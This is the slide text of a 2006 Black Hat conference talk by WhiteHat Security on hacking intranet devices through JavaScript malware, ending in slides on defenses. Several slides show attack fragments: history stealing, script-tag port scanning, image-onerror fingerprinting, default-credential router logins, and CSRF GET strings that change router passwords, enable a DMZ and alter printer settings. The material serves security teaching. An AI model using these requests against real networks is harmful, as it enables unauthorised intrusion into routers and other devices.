Hacking intranet websites
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Jeremiah Grossman and T.C. Niedzialkowski presented on the dangers of JavaScript malware exploiting vulnerabilities to hack intranet websites from outside the network. They demonstrated how JavaScript malware can steal browser history, fingerprint servers, and change router passwords by exploiting vulnerabilities like cross-site scripting and cross-site request forgery. The presentation recommended hardening websites by validating input, protecting sensitive functionality, finding vulnerabilities through assessments, and using web application firewalls.
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Fixing XSS and CSRF
Preventing websites from hosting
JavaScript Malware
‣rock solid Input Validation. This includes
URL's, query strings, headers, post data, etc.
filter HTML from output Text
$data =~ s/(<|>|"|'|(|)|:)/'&#'.ord($1).';'/sge;
or
$data =~ s/([^w])/'&#'.ord($1).';'/sge;
‣Protect sensitive functionality from CSRF
Text
attack. Implement session tokens, CAPTCHAs,
or HTTP referer header checking. ext
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.](https://image.slidesharecdn.com/hackingintranetwebsites-121125161144-phpapp02/85/Hacking-intranet-websites-33-320.jpg)
Hacking intranet websites
- 1. 1 Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous" Black Hat (USA) - Las Vegas 08.03.2006 Jeremiah Grossman (Founder and CTO) T.C. Niedzialkowski (Sr. Security Engineer) Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 2. 2 WhiteHat Security WhiteHat Sentinel - Continuous Vulnerability Assessment and Management Service for Websites. Jeremiah Grossman (Founder and CTO) ‣Technology R&D and industry evangelist ‣Co-founder of the Web Application Security Consortium (WASC) ‣Former Yahoo Information Security Officer T.C. Niedzialkowski (Sr. Security Engineer) ‣Manages WhiteHat Sentinel service for enterprise customers ‣extensive experience in web application security assessments ‣key contributor to the design of WhiteHat's scanning technology. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 3. 3 Assumptions of Intranet Security Doing any of the following on the internet would be crazy, but on intranet... ‣Leaving hosts unpatched ‣Using default passwords ‣Not putting a firewall in front of a host Is OK because the perimeter firewalls block external access to internal devices. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 4. 4 Assumptions of Intranet Security WRONG! Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 5. 5 Everything is web-enabled routers, firewalls, printers, payroll systems, employee directories, bug tracking systems, development machines, web mail, wikis, IP phones, web cams, host management, etc etc. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 6. 6 Intranet users have access To access intranet websites, control a user (or the browser) which is on the inside. FTP Intranet Wiki X Printer JavaScript HTTP X Malware User New Web X Server SSH Firewall NetBIOS Bug IP Phone Tracking Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 7. 7 Hacking the Intranet JavaScript Malware Gets behind the firewall to attack the intranet. operating system and browser independent special thanks to: Robert “RSnake” Hansen http://ha.ckers.org/ Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 8. 8 The following examples DO NOT use any well-known or un-patched web browser vulnerabilities. The code uses clever and sophisticated JavaScript, Cascading Style-Sheet (CSS), and Java Applet programming. Technology that is common to all popular web browsers. Example code is developed for Firefox 1.5, but the techniques should also apply to Internet Explorer. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 9. 9 Contracting JavaScript Malware 1. website owner embedded JavaScript malware. 2. web page defaced with embedded JavaScript malware. 3. JavaScript Malware injected into into a public area of a website. (persistent XSS) 4. clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non- persistent XSS) Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 10. 10 Stealing Browser History JavaScript can make links and has access to CSS APIs See the difference? Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 11. 11 Cycle through the most popular websites Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 12. 12 NAT'ed IP Address IP Address Java Applet This applet demonstrates that any server you visit can find out your real IP address if you enable Java, even if you're behind a firewall or use a proxy. Lars Kindermann http://reglos.de/myaddress/ Send internal IP address where JavaScript can access it <APPLET CODE="MyAddress.class"> <PARAM NAME="URL" VALUE="demo.html?IP="> </APPLET> If we can get the internal subnet great, if not, we can still guess for port scanning... Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 13. 13 JavaScript Port Scanning We can send HTTP requests to anywhere, but we can 't access the response (same-origin policy). So how do we know if a connection is made? <SCRIPT SRC=”http://192.168.1.100/”></SCRIPT> If a web server is listening on 192.168.1.100, HTML will be returned causing the JS interpreter to error. CAPTURE THE ERROR! Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 14. 14 Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 15. 15 Blind URL Fingerprinting There is a web server listening, but can 't see the response, what is it? Many web platforms have URL’s to images that are unique. Apache Web Server /icons/apache_pb.gif HP Printer /hp/device/hp_invent_logo.gif PHP Imae Easter eggs /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 Use OnError! Cycle through unique URL’s using Image DOM objects <img src=”http://192.168.1.100/unique_image_url” onerror=”fingerprint()” /> If the onerror event does NOT execute, then it 's the associated platform. Technically, CSS and JavaScript pages can be used for fingerprinting as well. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 16. 16 Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 17. 17 DSL Wireless/Router Hacking Login, if not already authenticated Factory defaults are handy! http://admin:password@192.168.1.1/ Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 18. 18 Change the password /password.cgi? POST to GET sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmP asswd=newpass&cfAlert_Apply=Apply Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 19. 19 DMZ Hacking /security.cgi? POST to GET dod=dod&dmz_enable=dmz_enable&dmzip1=192&dmzip2=168&d mzip3=1&dmzip4=9&wan_mtu=1500&apply=Apply&wan_way=1500 Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 20. 20 Network Printer Hacking POST to GET /hp/device/set_config_deviceInfo.html?DeviceDescription=0WNED! &AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 21. 21 Network Printer Hacking Auto-Fire Printer Test Pages POST to GET /hp/device/info_specialPages.html?Demo=Print Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 22. 22 More Dirty Tricks ‣ black hat search engine optimization (SEO) ‣ Click-fraud ‣ Distributed Denial of Service ‣ Force access of illegal content ‣ Hack other websites (IDS sirens) ‣ Distributed email spam (Outlook Web Access) ‣ Distributed blog spam ‣ Vote tampering ‣ De-Anonymize people ‣ etc. Once the browser closes there is little trace of the exploit code. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 23. 23 Anybody can be a victim on any website Trusted websites are hosting malware. Cross-Site Scripting (XSS) and Cross-Site Request Forgery vulnerabilities amplify the problem. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 24. 24 XSS Everywhere Attacks the user of a website, not the website itself. The most common vulnerability. SecurityFocus cataloged over 1,400 issues. WhiteHat Security has Identified over 1,500 in custom web applications. 8 in 10 websites have XSS. Tops the Web Hacking Incident Database (WHID) http://www.webappsec.org/projects/whid/ Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 25. 25 Exploited on popular websites Exploitation Leads to website defacement, session hi- jacking, user impersonation, worms, phishing scams, browser trojans, and more... Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 26. 26 CSRF, even more widespread A cross-site request forgery (CSRF or XSRF), although similar-sounding in name to cross-site scripting (XSS), is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a website has in a user by forging the enactor and making a request appear to come from a trusted user. Wikipedia http://en.wikipedia.org/wiki/Cross-site_request_forgery No statistics, but the general consensus is just about every piece of sensitive website functionality is vulnerable. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 27. 27 CSRF hack examples A story that diggs itself Users logged-in to digg.com visiting http:// 4diggers.blogspot.com/ will automatically digg the story http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/ Compromising your GMail contact list Contact list available in JavaScript space. <script src=http://mail.google.com/ mail/?_url_scrubbed> http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00087.html Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 28. 28 Worms MySpace (Samy Worm) - first XSS worm 24 hours, 1 million users affected ‣logged-in user views samys profile page, embedded JavaScript malware. ‣Malware ads samy as their friend, updates their profile with “samy is my hero”, and copies the malware to their profile. ‣People visiting infected profiles are in turn infected causing exponential growth. http://namb.la/popular/tech.html Yahoo Mail (JS-Yamanner) ‣User receives a email w/ an attachment embedded with JavaScript malware. ‣User opens the attachment and malware harvesting @yahoo.com and @yahoogroups.com addresses from contact list. CROSS-SITE SCRIPTING WORMS AND VIRUSES “The Impending Threat and the Best Defense” ‣User is re-directed to another web page. http://www.whitehatsec.com/downloads/ http://ha.ckers.org/blog/20060612/yahoo-xss-worm/ WHXSSThreats.pdf Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 29. 29 Solutions How to protect yourself Or at least try Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 30. 30 Not going to work Useful for other threats, but not against JavaScript malware. Patching and anti-virus Corporate Web Surfing Filters Security Sockets Layer (SSL) Two Factor Authentication Stay away from questionable websites Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 31. 31 Better End-User Solutions ‣Be suspicious of long links, especially those that look like they contain HTML code. When in doubt, type the domain name manually into your browser location bar. ‣no web browser has a clear security Text advantage, but we prefer Firefox. For additional security, install browser add-ons such as NoScript (Firefox extension) or the Netcraft Toolbar. ‣When in doubt, disable JavaScript, Java, and Active X prior to your visit. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 32. 32 We Need More Browser Security ‣Mozilla (Firefox), Microsoft and Opera development teams must begin formalizing and implementing Content-Restrictions. Sites would define and serve content restrictions for pages which contained untrusted content which they had filtered. If the filtering failed, the content restrictions Text may still prevent malicious script from executing or doing damage. Gervase Markham http://www.gerv.net/security/content-restrictions/ ‣Mozilla (Firefox) developers, please implement httpOnly. It's been around for years! Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 33. 33 Fixing XSS and CSRF Preventing websites from hosting JavaScript Malware ‣rock solid Input Validation. This includes URL's, query strings, headers, post data, etc. filter HTML from output Text $data =~ s/(<|>|"|'|(|)|:)/'&#'.ord($1).';'/sge; or $data =~ s/([^w])/'&#'.ord($1).';'/sge; ‣Protect sensitive functionality from CSRF Text attack. Implement session tokens, CAPTCHAs, or HTTP referer header checking. ext Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 34. 34 Finding and Fixing ‣Find your vulnerabilities before the bad guys do. Comprehensive assessments combine automated vulnerability scanning and expert-driven analysis. ‣When absolutely nothing can go wrong with Text your website, consider a web application firewall (WAF). Defense-in-Depth (mod_security, URL Scan, SecureIIS). ‣ harden the intranet websites. They are no longer out of reach. Patch and change default password. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 35. 35 Recommended Reading Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
- 36. 36 THANK YOU! Jeremiah Grossman Founder and Chief Technology Officer jeremiah@whitehatsec.com T.C. Niedzialkowski SR. Security Engineer tc@whitehatsec.com For more information about WhiteHat Security, please call 408.492.1817 or visit our website, www.whitehatsec.com Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.